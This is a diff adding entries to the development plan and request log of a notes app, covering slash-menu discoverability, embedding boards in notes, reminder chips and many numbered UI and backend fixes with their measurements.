+  a silent off switch. A bare call would have thrown on the first press and
+  been fixed that day.
+- ~~**18c. Discoverability.**~~ **Built 2026-09-21.** Three ways, which is
+  what decision 3 asks for and what the surface had one of:
+
+  1. **The placeholder**, on every surface in `EDITOR_SURFACES`: "Press / for
+     blocks and commands." Applied from editor.js rather than written into
+     the markup, because one of the four (`entry-edit-content`) is built in
+     JS every time a note is opened, and three boxes that say it beside one
+     that does not teaches that the feature is per-box. Measured: 4 of 4
+     hinted, and the engine carries it through to `aria-placeholder` when it
+     is mounted over the composer.
+  2. **Ctrl+/**, through `DEFAULT_SHORTCUTS` and `runShortcut` (app.js), not
+     through a listener of editor.js's own. That makes it rebindable like
+     every other chord and, more to the point, puts it in the shortcuts cheat
+     sheet, which is where somebody looks for what an app can do. A second
+     listener would also have fired alongside app.js's chorded dispatcher and
+     inserted two slashes.
+  3. The menu itself, which is what 18a and 18b were about.
+
+  **Decision taken, recorded rather than remade** (standing order 3): 18c's
+  gate asked for a "visible route", and decision 5 forbids adding to the
+  chrome. The note toolbar already carries twelve controls; a thirteenth
+  teaches nothing and costs the one thing section 17 is protecting. So the
+  visible thing is the placeholder, which is copy rather than chrome and is
+  on screen at exactly the moment it is useful and gone the moment it is not,
+  and the route it names is a chord that the cheat sheet also lists.
+
+  The chord writes a real "/" into the text rather than faking the menu open:
+  the menu filters on what follows the slash and closes when it is deleted,
+  so both routes have to leave the surface in the same state or Escape and
+  Backspace would behave differently depending on how it was opened.
+
+  `scratchpad/ui-sweeps/slashicons.js` covers all of it: 4 of 4 surfaces
+  hinted, the menu open with 14 rows from the chord alone, and
+  `shortcuts.editorMenu` present so the cheat sheet lists it.
+- **18d. The menu itself.** Grouping, ordering, the `primary` flag's meaning,
+  what happens on no match, and keyboard behaviour end to end. Gate: arrow
+  keys move through the rows, Escape closes and returns focus to the surface,
+  a no-match state says so rather than showing an empty box, and every
+  context is measured at 1440 and 390.
+
+### From DOCUMENTS_PLAN.md section 19: a board or a map as an object in a note, and a note's reminders
+
+The owner, INBOX 309, verbatim: "there is also no way to attach a whiteboard
+or mindmap to a note as like an object in the notes. or to link reminders to
+notes". Two halves of one idea: this note and that thing are the same piece
+of work.
+
+**What the read found before anything was built.** Half of it existed and
+was not drawn, and one sentence of the brief was simply wrong, which is why
+section 1 of CLAUDE.md says to grep first.
+
+| Claim | What is actually there |
+| --- | --- |
+| A note cannot hold a board | A note's typed objects are markdown constructs, and `mdEmbedElement` (app.js) is the single renderer for `![[name]]` behind both `renderNoteText` (note cards) and `renderMarkdown` (documents and chat). `resolveWikiTarget` has resolved a board since the map chips were built, and `renderNoteInline` already drew an inline `mapChip` for `[[My map]]`. What `mdEmbedElement` did with a board was fall through to "Nothing called House jobs yet", measured on 8793 before the change: the embed of a live board claimed it did not exist |
+| There is no preview to reuse | `mapPreview(board, {size})` is the one miniature renderer (MINDMAP_PLAN §5 item 12), fed by `preview_items` from `/whiteboard/boards` through `loadMapBoardIndex` |
+| "A reminder row has no column naming the note it came from" | It has had one since reminders existed: `Reminder.entry_id`, with `entry_preview` on every reminder read, a chip on the reminder row that opens the note, `entry_id` on `POST /reminders`, `note_id` on the `set_reminder` tool, and the note card's own "Remind me" passing `entry.id`. **No migration was needed and none was written.** What was missing was the other direction: no way to ask for one note's reminders, and nothing on the note |
+
+**Built.**
+
+- `![[board:12|House jobs]]` (and `map:`) renders a preview card: the kind,
+  the board's own miniature from `mapPreview`, its title and `mapCountLabel`,
+  the whole card a `<button>` that opens the board. A plain `![[House jobs]]`
+  that happens to name a board renders the same card, which is the bug above
+  fixed in the same place.
+- Both doorways the brief asked for: the "/" menu's "Board or mind map" in
+  Links and references, and "Add to a note" on the board itself (the Board
+  menu's `#wb-add-to-note`, and the Library card's kebab). Both write through
+  `boardEmbedMarkdown`, and the board side appends through
+  `appendSelectionToNote`, so there is one spelling and one undo.
+- `GET /reminders?entry_id=` and `GET /reminders/counts?ids=`, then a
+  `2 reminders` chip on the note card that opens a panel listing them, each
+  pressing through to `flashReminder`.
+
+**Decisions made** (standing order 3: each was missing, each got a one-line
+recommendation, each was taken).
+
+1. **A board object is addressed by id, with its title carried beside it**
+   (`![[board:12|House jobs]]`), not by title alone like every other wiki
+   link. A title-addressed object breaks silently on a rename, and worse, a
+   renamed board and a deleted one look identical to the resolver. The title
+   travels anyway because it is what the tombstone says, and because
+   `_reference_rows` in routes_entries.py finds a board's references with a
+   LIKE over note content for its label, so the card's "on 1 board" chip
+   keeps working with no backend change.
+2. **A deleted board leaves a tombstone**, `.board-embed-gone` naming what
+   was there, rather than the object vanishing. Content that disappears
+   silently teaches the reader the note was always like that.
+   **And a miss is not a tombstone until the index has been refreshed once**:
+   `loadMapBoardIndex(true)`, because a board made a minute ago is missing
+   from an index built before it existed, and "this board is no longer in
+   your notebook" over a board somebody just made is the worst thing this
+   card could say.
+3. **The slash command is "Board or mind map"**, in Links and references,
+   `primary` so it is in the shortlist with nothing typed. Named for the two
+   things it inserts, in the app's own words for them.
+4. **A note's reminders are a chip on the facts line, not a section.** The
+   card is a title, a body and one line of facts; a block under every note
+   with a reminder would push the next note off the screen for a fact that is
+   usually four words long. The chip opens the same `.entry-links` panel
+   "Referenced by" and "Similar notes" use, which is also what keeps one
+   panel open per card.
+5. **The board picker is `pickLibraryItemDialog`'s fifth source, opt in.**
+   A fifth chooser for a fifth kind is the failure this app already has a
+   rule against. It is opt in because that dialog's first caller feeds a map
+   reference node, and `MAP_REFERENCE_KINDS` has no board in it: a board
+   offered there would be a row that cannot be saved.
+
+**Not done, and deliberately.** No backfill of `Reminder.entry_id` for
+reminders made before the link was drawn: there is nothing to backfill from.
+A reminder written by hand in the Reminders tab never named a note, and
+guessing one from the text would invent a link the person did not make.

 "group by tag" is ambiguous for every multi-tagged note. Three honest options:

+
+     **Added (6), verbatim:** "also there is no clear skeleton loaders for
+     many features that are lazily loaded like the boards and maps in the

+     **Added (7), verbatim, with a screenshot (Settings, Models: "Can't reach

+466. **The owner, 2026-10-03 night, verbatim, with screenshots (Manage
+     categories: a count pill on every row; the expanded companion with its
+     resize ring at the top right).** "I think there should also be a clear

+     and the popup agent's box, with Undo; (2) the counts as quiet text
+     beside the name, not pills; (3) the resize ring hidden in the enlarged
+     viewer: the orchestrator. **Fixed**: (1) `field-clear.js` (lazy), an
+     eraser Clear on the five boxes, Undo through the toast (the status line
+     under a modal dialog and the agent overlay); Chat clears the words only,
+     its attachments have their own chips; (2) `.manage-cat-count` is muted
+     text after the name; (3) `.nmb-size-grip` is `display: none` in

+     reaches Chat, the popup agent and the Atlas guide's heads, but Ask's
+     answer (`#ai-answer`) and the writing room's draft have no head at all,
+     and the guide's chat rows (`.help-chat-msg.is-assistant`) none either;
+     the owner asked for "all chat interfaces". Recommendation (order 3,
+     taken): give each the reply head recipe (avatar from
+     `assistantAvatar(size)`, the name), so the setting reaches them; persona
+     faces keep their own unless the owner asks. Placed: the next agent free.
+     **Fixed**: Ask's answer (`.answer-title`, replacing the sparkle and "AI
+     answer"), the draft (`.draft-head-label`) and every guide row (pending,
+     streamed, revealed, final) open with the head, painted through
+     `paintAssistantAvatar`; the draft's thinking fold now sits between the

+     plus the `--space-2` gap, Chat's own). `assistantavatar.js` covers all
+     three (`NEW_ONLY=1` skips the older surfaces).
+
+453. **The owner, 2026-10-03 night, verbatim.** "Also I think there should
+     be a way to open and close the documents editor sidebar when in full

+     mindmap, whiteboard, or documents editor at all?? what is most lacking
+     in the app rn?? what is left and still open??" Placed: the sidebar

+464. **The owner, 2026-10-03 night, verbatim, with a screenshot (the

+     fill).** "there is still some colour contrast issues. do another round
+     of improve and redesign the ui/ux for the application." (with the eight
+     design skills named). **The icon fixed**: a pressed or active
+     quiet button's leading icon takes its label's colour (white on the
+     accent in light, near-black in dark; it stayed accent on accent). **The
+     non-text contrast sweep is built and its findings fixed**:
+     `scratchpad/ui-sweeps/contrastui.js` (icons, SVG icons, focus rings,
+     fields, selected states, chips, text outside `.tab-page`; every tab,
+     sub-tab, Settings section and overlay; 1440 and 390, both themes,
+     `CONTRAST=on`, `LOOK=`). Default look: 79 findings at 1440 light, 74 dark,
+     51 and 49 at 390, now 0 but the 4 to 6 borderless writing surfaces, kept
+     as a decision (DESIGN.md recipe index, `--control-edge`). **The UI round, 2026-10-04**
+     (one agent, all eight skills as checklists, 188 stills at 1440 and 390
+     in both themes): twenty defects ranked with measurements in
+     `scratchpad/ui-audit-464.md`; the top eight built (Settings heads in
+     groups, switches on the text edge, the phone head on one row, one-line
+     pane descriptions, Library previews keeping blocks apart, the palette on
+     touch, file pickers on the tonal recipe, three copy faults) plus the
+     Timeline's cut titles; two new lints. **Fixed, 2026-10-04**: items 9
+     and 12 to 20 (steady tab labels, dashboard empty states with an action,
+     Settings dividers on the underline, one disclosure marker, Library
+     counts agree, Ask Atlas on one line on a phone, Reminders' pill row,
+     one-step import with Undo, Bookmarks said once, the phone dashboard's
+     search gap); measured in `scratchpad/ui-audit-464.md`. Decisions taken: Back/Forward stay hidden in the
+     phone Settings head (the section picker reaches any section in one tap);
+     item 10 keeps the sentence-as-title decision.
+
+477. **The owner, 2026-10-04 evening, verbatim, with a screenshot (Settings,
+     Appearance, "Theme & colour" open with its caret still pointing right).**
+     "the arrows in the settings section headers dont change to face down
+     when the section is open". **Fixed**: a regression from 464 (14)'s one
+     disclosure marker; the open rule dropped the closed rule's `:not()`
+     chain and lost to it on specificity. `caretopen.js`: 0/109 folds turned
+     down when open, now 109/109; `test_disclosure_marker.py` holds it.
+
+482. **The owner, 2026-10-04 evening, verbatim, with a screenshot (two
+     suggested tags, "+ work" and "+ birthday", each ending in a grey disc
+     with an off-centre x).** "the x buttons on these suggested tags are ugly
+     and not even centred". **Fixed**: the x is two 1.2px bars crossed at the
+     target's exact centre, muted at rest with no disc; the disc and the
+     error ink come on hover and focus. Every chip that ends in an x shares
+     it (`chipx.js`).
+
+489. **The owner, 2026-10-04 evening, verbatim, with a screenshot (an open
+     Thinking fold: a bordered "Thinking" pill, then the model's reasoning as

+     `<<<data note>>>` marker showing).** "can you improve like the borders
+     of the thinking boxes or smth?? it looks wiers with text just appearing

+     one contained panel for an open thinking fold (`thinkingFold()`), the
+     reasoning rendered as Markdown, prompt scaffolding markers stripped.
+     **Fixed**: open, the fold is one panel (inset surface, hairline, card
+     radius) with its summary as the head; the reasoning is painted as
+     Markdown on every surface (`thinkingPaint`: Chat, Ask, the palette,
+     the Guide) with `<<<data>>>` fences removed (`thinkfold.js`).
+
+476. **The owner, 2026-10-04 evening, verbatim.** "the library submenu bar
+     shows on the whiteboard and mindmap but not on the documents editor,
+     should it be hidden when on those as well??" Decision (standing order
+     3), taken: yes. A board and a map are full editors like a document, so
+     the Library sub-tab bar hides while one is open and the editor's own
+     Back returns to the list; one rule for all three. Agent.
+     **Fixed**: the Library sub-tab bar hides while a board or map is open at every width (was phone only); the canvas gains the 38 to 54px (`subtabshide.js`).
+475. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the popup
+     agent's head over its input).** "there isnt much vertical spacing or gap
+     between the popup agent title and avatar and the input text box".
+     Agent (measure the gap against the other dialog heads, DESIGN.md's
+     reference dialog head).
+     **Fixed**: the popup agent's head sits 21.2px above its input (was 5.4px), head and bar no longer shrink in the capped column (`palettegap.js`).
+474. **The owner, 2026-10-04 evening, verbatim, with a screenshot (a link
+     chip reading "something lol [something](https://something.com...").**
+     "if I press "see more" for the note connections, I cant go back to the
+     collapsed links way it was before. also hyperlinks in notes arent
+     rendered or show inline md in the note links". Two bugs: the
+     connections row's See more has no See less, and a link chip shows the
+     note's raw Markdown. Agent.
+     **Fixed**: the connections row's more toggle reads Show less and collapses back; chip labels are plain text (`plainText`), no Markdown; links in a body already rendered (`linkchips.js`).
+473. **The owner, 2026-10-04 evening, verbatim, with a screenshot (note cards
+     clamped to a title and one line, then "Show more").** "can you increase
+     the amount of lines or characters in a note that show before it gets cut
+     off by the show more??" Agent: measure the clamp per density and raise
+     it (INBOX 457's two-line fix holds the floor).
+     **Fixed**: one token, `--note-preview-lines`, 3 compact, 4 default, 5 spacious, at 1440 and 390 (was 2 and 1); blank lines still collapse (`notepreview.js`).
+
+491. **The owner, 2026-10-04 evening, verbatim, with a screenshot (Ask: "What
+     are the specific feature suggestions?" answered "the notes do not
+     provide any further description", over a note whose content is an
+     image of typed text).** "I asked what the contents were in the note
+     where the stuff was mostly in the image and the ai didnt read that. it
+     has already been read by the ocr model but the ai didnt access the
+     extracted text or caption". And: "also notes are still cut off wayyy
+     too short" (Ask's matching records, two lines then Show more; with 473's
+     agent). Orchestrator: an image's read text and caption go into the
+     note's text the model is given. **Fixed**: only hand-attached notes
+     carried their pictures' readings; a retrieved note that is mostly a
+     picture (under 200 characters of its own words) now does too, and a
+     reading may run to 1,200 characters (was 240), inside the note's own
+     allowance (`test_chat_attachments.py`). Ask's record cards: 473's
+     `--note-preview-lines`.
+
+499. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the Guide
+     panel: an Atlas bubble 150px wide holding only the name and typing
+     dots).** "the ai assistant message bubble sin the help guide panel are
+     really short in width when generating". Orchestrator. **Fixed**: Atlas's
+     bubble takes its 82% column from the first frame (was 150px around the
+     dots, widening as text came; `guidebubble.js`).
+498. **The owner, 2026-10-04 evening, verbatim, with a screenshot (Find
+     anything: a hairline through the head's title and buttons, the search
+     field touching the head).** "a horizontal line cuts through the top
+     elements in the find anything popup panel, and there is no vertical gap
+     between those elements and the search bar". Orchestrator. **Fixed**:
+     with results the capped card shrank the head from 52px to 32px, so its
+     hairline crossed the title and buttons; every `.dialog-head` now keeps
+     its height (`flex-shrink: 0`), and the field sits 13px under the head
+     (was 7px; `finderhead.js`).
+492. **The owner's log, 2026-10-04 evening.** "Uncaught TypeError: Cannot
+     read properties of null (reading 'classList') at paintTimeline
+     (timeline.js:752) at enterSelectMode (skills.js:1293)" and the same from
+     exitSelectMode. Orchestrator.
+     **Fixed.** Cause: `purgeLockedContent` (app.js) emptied
+     `#timeline-scroll` and `#reminder-list-card`, which hold static markup;
+     after any lock, 18 ids were gone (the Timeline's feed and table, the
+     Reminders controls) and the select button threw. Reproduced
+     (`scratchpad/ui-sweeps/selectmodeguard.js`: 2 errors before, 0 after, 0
+     ids lost); the purge now empties only the rendered rows, a lint fails if a
+     purged container holds an id, and `paintTimeline` returns when the feed is
+     not built.
+
+495. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the Skill
+     logs sidebar expanded from collapsed: Clear and the pin button touching
+     in the head).** "when the skill logs sidebar is collapsed and
+     temporarily expanded, the clear button and pin button clash".
+     Orchestrator.
+     **Fixed.** Reproduced: Clear to pin gap 6.4px pinned, -5.6px peeked
+     (`scratchpad/ui-sweeps/skillslogshead.js`). Two causes: the peek moved
+     the toggle to `right: 1.25rem` (the pinned spot is 1rem, where the
+     head's lane is measured), and an id rule folding Skill logs' children
+     out-ranked the peek's `transform: none`, leaving the head 8px under the
+     pin. Now 6.4px pinned, peeked (1440 and 1100) and at 390 (was 2.4px).
+     `tests/test_sidebar_peek_head.py` holds the two rules.
+
+483. **The owner, 2026-10-04 evening, verbatim.** "can there be easy ways
+     to copy the address of various notes or objects so that if I wish and
+     the application is running, I can hyperlink to that specific object??"
+     Exists: every view has an address (router.js: `#/notes/12`, `#/docs/7`,
+     `#/chat/45`, `#/library/board/3`, `#/graph/focus/12`) and a pasted one
+     opens. Missing: a "Copy app link" on each object's menu, and an app link
+     inside a note opening in the same window. Agent (Sonnet).
+     **Fixed**: Copy app link on every object's menu (note, document, board, map,
+     chat, the editors' menus), the [[ ]] copies renamed Copy wiki link, and an
+     app address in a note opens in the same window (`test_router.py`).
+
+487. **The owner, 2026-10-04 evening, verbatim.** "should there be a way to
+     clear the cache??" Decision, taken: yes. Settings, Data: "Clear app
+     cache" unregisters the service worker, empties Cache Storage, drops the
+     server's compressed-file cache and reloads; nothing in the notebook is
+     touched. Orchestrator. **Fixed**: Settings, Import and export, App
+     cache: Clear app cache (service workers, Cache Storage and the server's
+     compressed copies; `POST /system/clear-static-cache`), with help; the
+     emblem's loader now waits for the page, the second cause of "ACCENTS is
+     not defined" (`test_clear_app_cache.py`).
+
+505. **The owner, 2026-10-04 evening, verbatim, with two screenshots (note
+     cards: the text, then a row of category pill, confidence, hashtags,
+     a date-mention chip and the date, then rows of link chips, all at
+     similar weight; the text starting 28px in from the card's edge).** "in
+     the notes, the metadata clashes with the note contents visually a bit
+     too much. I also feel like the text and note contents can go a bit more
+     to the right". Orchestrator. **Fixed**: the text starts 21px in (was
+     14px), the metadata a step lower, the category pill in muted ink at the
+     body weight (dot keeps its colour), link chips muted with a fainter edge
+     until pointed at (`notecardmeta.js`).
+
+508. **The owner, 2026-10-04 evening, verbatim.** "I cant delete individual
+     notifications". Only Clear all existed. Fixed: each row has a remove
+     cross beside its read circle (quiet until hover, always shown on touch);
+     a removed overdue reminder is remembered so the panel does not fold it
+     back in; focus moves to the next row's cross; the Guide's notifications
+     topic says so. `notifdismiss.js`: 9 rows to 8, the removed reminder
+     stays gone after reopening, both controls 24x28 and centred.
+500. **The owner, 2026-10-04 evening, verbatim.** "make sure that when any ui
+     changes are made, the help info gets updated as well." Taken as a
+     standing order (CLAUDE.md order 13), given to every running agent, and
+     checked at every merge.
+     Fixed: standing order 13 in CLAUDE.md, checked at every merge.
+494. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the
+     status bar: "Ctrl K Commands", "Ask", "Guide", "Find").** "the text and
+     icons in the bottom bar elements arent aligned vertically". With the
+     dock-bar agent (479).
+     Fixed: status bar icons within 0.5px of their label's middle (7e07039).
+488. **The owner, 2026-10-04 evening, verbatim, with two screenshots (the
+     dashboard: the search bar's kebab holds Continue, skills, Tools,
+     Commands, View, Widgets and Edit layout, and its menu opens over the
+     Quick access row, which has a kebab of its own with Customise and Reset
+     to default).** "I think it is confusing to have the widget management
+     stuff in the meatball menu button above the meatball menu button which
+     covers the quick access??" With the dock-bar agent (479).
+     Fixed: Dashboard Customise separated from the ⋯ menu (1d6112a), Guide topics updated.
+479. **The owner, 2026-10-04 evening, verbatim.** "polish and maximise
+     ui/ux. I want no vibecoded tells. do an audit of the layout for all page
+     top or bottom dock bars and see if controls can be better designed,
+     structured, rearranged and more for all features". Agent (Opus), with
+     478.
+     Fixed: audit `scratchpad/dock-audit-479.md` (17 findings); dock hairlines, top bar, Settings head, map rail, tab strip, board picker, Chat '?' merged 2026-10-04. Open findings placed in WORLD_CLASS_PLAN as 507.
+478. **The owner, 2026-10-04 evening, verbatim.** "can you do another
+     devibecode sweep and also another modernisation and proffessionalisation
+     and ui/ux design sweep as well??" Agent (Opus), with 479.
+     Fixed with 479 (devibe.js and vibecheck.js 0).
+
+509. **The owner, 2026-10-04 evening, verbatim, quoting the status reply on
+     434's cold model.** "make it togglable." Fixed: Settings, Background
+     tasks, "Load the search model when the app starts" (on by default; off
+     leaves it to the first note, which then waits about 7 s), and switching
+     it on mid-session loads it at once. Found on the way: Ask Atlas where
+     each note belongs, File notes in the background, Describe images and
+     Read text in images were never in `PreferencesBody`, so pydantic
+     dropped them and each checkbox snapped back on reload; all four now
+     save. `test_preferences_roundtrip.py` compares every key the frontend
+     sends and reads with the backend; `prefpersist.js`: five switches off,
+     reload, all five still off. Guide's filing topic updated.
+
+513. **The owner, 2026-10-04 evening, verbatim, two screenshots.** "the
+     notebook constellation isnt showing" / "the stats and streak are also
+     stuck loading". Not reproduced at f37110f (all three draw, 0 errors,
+     `dashwidgets.js`); all three wait on one `/insights/stats`, so a request
+     that never answered left them on the empty-body "Loading…" for good.
+     Fixed by construction: a 15 s deadline on that request, every widget
+     mounts through a guard that shows Retry on failure or after 20 s, and
+     the constellation waits for p5 (`ensureP5`) rather than reporting it
+     missing. `dashhang.js`: a held request ends on Retry; Retry draws.
+
+501. **The owner, 2026-10-04 evening, verbatim.** "also when atlas or the
+     companion appears on the screen it just kinda appears and there is no
+     smooth or creative animation for it to happen, or even differences on
+     how it gets there". With the Atlas agent (480).
+     Fixed: entrances vary by place and do not repeat, 210 to 290 ms fade.
+497. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the
+     feminine Atlas, pointer above right, both eyes all white).** "when I
+     have my cursor to the top right of the companion or atlas, the pupils
+     basically go off the head and you can only see white eyes. make teh
+     atlas behaviour more smooth and less sudden beginning and stopping of
+     actions, smooth life-like transitions and movement and expressions and
+     actions". With the Atlas agent (480).
+     Fixed: pupils kept inside the eyes, 0 of 960 readings outside; acts ease back; expressions settle over 0.6 s.
+481. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the
+     companion's speech line "I'm not talking to you." spilling right over
+     the art, its dark bubble collapsed to a small rectangle behind the first
+     letter).** "also these messages on the companion dont render properly".
+     Agent (with 480).
+     Fixed: speech bubble width, 24/24 cases (`companionsay.js`).
+480. **The owner, 2026-10-04 evening, verbatim, with two crops (the feminine
+     Atlas's lower body: a pale flared skirt of thin strands over the nebula
+     ring; and a band of light with sparkles across the forehead between the
+     ears).** "also I want a better and more majestic and attractive female
+     atlas lower body as well as a redesign of whatever this is on the
+     forehead between the ears". Agent (Opus, atlas.js art).
+     Fixed: ribbon tails, gown with a train, soft sash at the waist (Atlas merge).
+472. **The owner, 2026-10-04, verbatim.** "Continue autonomously with what
+     is left and still open. Use your ui UX design skills to improve ui UX.
+     Enhance the backend optimise, make things faster. Polish the app to be
+     official and not just a demo". Placed: the orchestrator takes the
+     backend speed pass (measure every hot endpoint on a seeded notebook,
+     fix the slowest, numbers before and after); the UI agents carry the
+     UI half (464 items); then a demo-to-product polish sweep (copy,
+     empty states, about/version, first run). **Backend pass, 2026-10-04**
+     (2,018-note seed; `apibench.js`, `asgi_bench.py`): static files are
+     compressed once per version and kept on disk (stylesheet 22 to 46 ms
+     per fetch to 4 to 6 ms, restart included); the last two
+     `BaseHTTPMiddleware` layers are pure ASGI (0.3 to 0.8 ms per request);
+     the unlock gate stops querying users on every request (0.4 ms); the
+     graph decrypts a private note once, not twice. Measured and left:
+     `/entries` is 21 ms per 200 notes (8 query, 12 model build); `/graph`
+     is 90 ms at 2,018 notes, over half of it ORM loading, kept because
+     rows would change what `paths.build` receives; larger background note
+     pages did not help (`notesfull.js`: 1,158 ms vs 1,335 ms to the whole
+     list). Product polish sweep: agent.
+     Polish rounds landed 2026-10-04; remaining polish lives in the placed queue (WORLD_CLASS_PLAN 484 to 507).
+
+484. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the `m`
+     leader menu: "m then a key", Go to and Do columns, key chips).** "can
+     you redesign this menu to be better, more professional, more modern and
+     more impressive??" Next Opus slot.
+     Built: rich-picker rows, key chips in one column, current tab marked, key map pinned (64fa7a5).
+485. **The owner, 2026-10-04 evening, verbatim, with two screenshots (the
+     Attach popup: on Files a floating selection toolbar (duplicate, redo,
+     cut, ...) over the search field; on Images a second, offset search box
+     drawn over the first).** "a popup controls menu keeps poping up when I
+     navigate the attach popup" / "and there is an overlapping textbox?? that
+     whole panel needs to be better redesigned". Bugs first (orchestrator):
+     the bar is a chat reply's action row (copy, regenerate, shorter,
+     simpler, fork); a guard now keeps every row hidden while the panel is
+     open (`attachbar.js`). Neither trigger reproduced headless (a pointer
+     grid over the panel, a keyboard walk out of it; the second search box
+     not in light or dark, any density, large text, with images), so a stale
+     cached file is a suspect: see 487. Then the redesign (next Opus slot,
+     from DESIGN.md's reference dialog).
+     Built: the second search box was the global search-input rule beating a one-class reset when unfocused; fixed, panel redesigned with counts, grid for images, keys, phone sheet (6236875).
+486. **The owner, 2026-10-04 evening, verbatim, with a screenshot (a callout
+     block in the editor: a note icon, "Note Note", then "> What matters
+     about this?").** "I have no clue how to use these things and they are
+     unintuitive". The callout reads its kind twice and gives no clue how to
+     change the kind, title or body. Next Opus slot, with 484 and 485.
+     Built: kind shown once with a caret menu, markers hidden in Live, empty body hint, Guide entry (cb7c30d).
+
+515. **The owner, 2026-10-04, verbatim, with a crop (a lilac band at the
+     waist).** "there's a wierd waist wrap around the feminine atlas". The
+     sash 480 added to cover the join; the strings it covered were already
+     removed (the ribbon tails' lit edges), so it had nothing to hide. Fixed:
+     sash removed, the torso fades into the gown; `atlaswaistjoin.js` 4x
+     stand pose, dark, shows no band and no strings.
+
+516. **The owner, 2026-10-04, verbatim.** "when I am in a whiteboard or
+     mindmap, I cant click the library tab menu item to go back to the
+     library". Fixed: the board is drawn inside the Library tab, so the press
+     switched to the tab already showing; a press while a board or map is
+     open now returns to the landing (`libtab.js`: open before, landing after,
+     board and map).
+517. **The owner, 2026-10-04, verbatim.** "what about the actual backend
+     functionality or how the graph actually is made and can be used?? is
+     anyuthing missing or sub par??" Audit found two link bugs, fixed:
+     `[[Name]]` never linked to a note opening `# Name` (the match read the
+     raw text from its first character), and a link written before its note
+     existed never resolved (only the linking note's save synced). Now the
+     opening line, heading stripped, names a note, and saving a note links
+     every note already naming it (`test_wiki_links_headings.py`, 4). The
+     rest placed in GRAPH_PLAN as 518.
+
+519. **The owner, 2026-10-04, verbatim, with a screenshot (lock screen, a
+     toast "Couldn't load this tab: renderDashboard is not defined").** "this
+     notification appears when I load up the app". Not reproduced headless.
+     dashboard.js is near the end of index.html's scripts, and a task
+     between two classic scripts (a boot fetch answering) can run before the
+     last ones have; both callers now wait for DOMContentLoaded
+     (`whenScriptsLoaded`) before drawing it. `booterr.js`: 0 errors;
+     `dashwidgets.js`: all three widgets draw.
+
+493. **The owner, 2026-10-04 evening, verbatim, with a screenshot (the graph:
+     coloured dots, curved links, labels in white over the lines).** "is
+     there a way to make my graphed notes look nicer??" Next Opus slot
+     (GRAPH_PLAN): labels that do not sit on lines, node and link styling,
+     a calmer palette.
+     Built: label plates placed clear of lines (crossings 43 to 28), calmer palette, hover fades over ~170 ms, lines hover and click to a reason popover (4af88c6, 5a3d6eb, a506e0f).
+
+503. **The owner, 2026-10-04 evening, verbatim, with three crops (an
+     "Installed" pill with a check, a "Tag with Atlas" chip with a sparkle,
+     and the Timeline's rail icons in their circles).** "make sure that in
+     all badges, the text and icons are properly aligned and spaced etc. also
+     the timeline icons on the left arent centred in the circles". And, of
+     the feminine Atlas: "there is two wierd thin string like appendages
+     coming from the feminine atlas lower body up top, smoothen and make more
+     appealing where the lower body meets the main body" (with the Atlas
+     agent). Badges and the Timeline rail: agent.
+     Fixed: one chip recipe (words trimmed to the x-height band, icon centred, one gap), timeline marks on even pixels; status labels 1.11 to 0.44 px off centre, rail -1.0 to -0.5 at 1x (1f2b007, 580abb6). Left: bare-text chips (contents jump, on this day, chat) not yet on the recipe; the check-circle glyph sits 1.35 px high.
+
+523. **The owner, 2026-10-04, verbatim, with a screenshot.** "the
+     notification read/unread circle and individual x delete buttons when
+     invisible cause an empty gap on the right of all notification in the
+     panel". Fixed: the two controls sit over the row's right edge and
+     replace its time on hover or focus; on touch they keep a column.
+     `notifgap.js`: the time ends 6 px from the row's edge.
+
+490. **The owner, 2026-10-04 evening, verbatim.** "also I feel like there
+     should be hyperlinked bread crumbs or a file tree sort of thing for if a
+     suggested follow suggested question is used." A trail of the questions
+     a follow-up chain came from, each a link back to its turn. Next Opus
+     slot.
+     Built: Follow-up of trail in Chat and Ask, saved on the turn (fabdcbf).
+496. **The owner, 2026-10-04 evening, verbatim, with a screenshot (Library,
+     Contents: a filter, four grouping buttons, a scrolling strip of category
+     chips, then sections of three-column note rows).** "also I feel like the
+     contents library subtab could be redesigned soooo much better. and it
+     takes a while to load the boards and maps library subtab". Placed
+     (WORLD_CLASS_PLAN, "Placed from INBOX, 2026-10-04").
+     Built: Boards & maps previews measured on a canvas (forced layouts 65 to 7), one request per visit; Contents is one tool row and folding groups (f58c264, e489bda).
+502. **The owner, 2026-10-04 evening, verbatim.** "should the ai chats be
+     able to pull images and sketches and render them in chat responses??
+     with accompanying references and hyperlinks??" Decision, taken: yes.
+     An answer grounded in a note with pictures shows them, as a thumbnail
+     beside the citation that opens the note (and the picture in the
+     lightbox); the model may cite a picture by its note number. Placed
+     (WORLD_CLASS_PLAN, "Placed from INBOX, 2026-10-04").
+     Built: up to 3 thumbnails per cited note under Grounded in, opening the lightbox (6196724).
+504. **The owner, 2026-10-04 evening, verbatim.** "also add more capablilty
+     and utility to the manage tags and categories panels." Placed
+     (WORLD_CLASS_PLAN, "Placed from INBOX, 2026-10-04").
+     Built: sort, unused filter, near-duplicate merge with Undo, bulk recolour and delete for categories (8899d8f).
+520. **The owner, 2026-10-04, verbatim.** "I think the text in the help
+     settings page needs to be like keyword searchable and key things like key
+     characters or hotkeys or item/location names should be in like inline
+     codeblocks or bolded/italicised in the help text to emphasise key
+     sections." Next Sonnet: a filter field on Settings, Help that searches
+     every topic's text and keywords (highlighting matches, opening matching
+     folds); help text renders keys as `<kbd>`, locations ("Settings, Data")
+     in bold, control names in inline code, via a small markup in the topic
+     strings that the Guide's plain-text answers strip.
+     Fixed: Help has a `.search-field` (every typed word must appear in a topic's title, keywords, text or place; matches open with `<mark>`, empty groups hide, "Nothing in Help matches", Esc clears, `helpApplySearch`). Emphasis is added at draw time by `helpEmphasis` (settings-find.js), not by markup in the topic strings, so the Guide's plain-text bodies never carry it: 190 `kbd`, 139 `strong`, 47 `code` across 96 topics (scratchpad/ui-sweeps/helpsearch.js). Place names come from the page's own nav and tabs. Left: the Guide chat's own answers are not decorated.
+
